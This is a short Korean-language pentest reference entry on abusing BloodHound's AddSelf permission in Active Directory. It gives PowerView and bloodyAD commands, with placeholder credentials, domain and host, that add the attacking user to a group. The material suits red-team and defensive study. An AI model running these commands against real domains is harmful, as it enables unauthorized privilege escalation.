AddSelf

객체에 대해 Add/remove self as member 권한이 있다면 블러드하운드에서 AddSelf로 표시되며 스스로를 도메인 멤버에서 추가/제거 할 수 있습니다.

PowerShell

# AddSelf 권한이 있는 사용자 자격증명을 객체로 저장
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)

# 저장한 객체정보를 권한이 있는 그룹에 위임
Add-DomainGroupMember -Identity 'local_member' -Members 'user-A' -Credential $Cred

# 그룹의 멤버를 확인하여 정상적으로 위임이 되었는지 확인
Get-DomainGroupMember -Identity 'local_member'

UNIX

bloodyAD -u user-A -p 'Password123!' -d contoso.com --host 192.168.1.11 add groupMember local_member user-A

References

AddSelfBloodHound